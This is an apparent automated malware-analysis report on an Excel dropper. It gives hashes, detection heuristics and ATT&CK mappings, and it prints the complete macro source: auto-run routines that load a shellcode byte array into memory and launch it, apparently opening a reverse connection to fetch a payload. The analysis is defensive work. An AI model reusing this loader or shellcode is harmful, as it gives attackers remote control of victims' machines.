Doc.Dropper.Valyria-6680543-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 c4b279de7ed7af8b…

MALICIOUS

Office (OLE)

31.0 KB Created: 2018-04-12 20:37:23 Authoring application: Microsoft Excel First seen: 2019-04-18
MD5: 6c605c24bbd243c524f1eb2284b77862 SHA-1: b4d016dd5cad7ef7e022a13dff878dadfd34c55c SHA-256: c4b279de7ed7af8ba90f46a2df0f6cb2f57c097d205afc4ef6edd27407635f37
124 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains VBA macros, including Auto_Open and Workbook_Open, which are commonly used to initiate malicious actions upon opening. The script utilizes Windows API functions like VirtualAlloc and CreateThread, indicating it's designed to allocate memory and execute code, likely a dropped payload. The ClamAV detection name further supports its classification as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Pdsk As Long, Wpx As Variant, Vmexm As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4291 bytes
SHA-256: d05e9d9f84ca099fa8208c03ad0c09b4db27327cf166da61d752ef41e26f71d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Nhrzqrrb As Long, ByVal Fyvihdhks As Long, ByVal Iaxb As LongPtr, Cqfei As Long, ByVal Gimisgj As Long, Tcxketkib As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Jti As Long, ByVal Kjkkzh As Long, ByVal Ruuzu As Long, ByVal Srg As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Guaafe As LongPtr, ByRef Mjhaxowk As Any, ByVal Hfm As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Nhrzqrrb As Long, ByVal Fyvihdhks As Long, ByVal Iaxb As Long, Cqfei As Long, ByVal Gimisgj As Long, Tcxketkib As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Jti As Long, ByVal Kjkkzh As Long, ByVal Ruuzu As Long, ByVal Srg As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Guaafe As Long, ByRef Mjhaxowk As Any, ByVal Hfm As Long) As Long
#End If

Sub Auto_Open()
    Dim Pdsk As Long, Wpx As Variant, Vmexm As Long
#If VBA7 Then
    Dim Ikyeydkcq As LongPtr, Zxzdew As LongPtr
#Else
    Dim Ikyeydkcq As Long, Zxzdew As Long
#End If
    Wpx = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, _
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 154, 128, 104, 2, 0, 1, 187, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Ikyeydkcq = VirtualAlloc(0, UBound(Wpx), &H1000, &H40)
    For Vmexm = LBound(Wpx) To UBound(Wpx)
        Pdsk = Wpx(Vmexm)
        Zxzdew = RtlMoveMemory(Ikyeydkcq + Vmexm, Pdsk, 1)
    Next Vmexm
    Zxzdew = CreateThread(0, 0, Ikyeydkcq, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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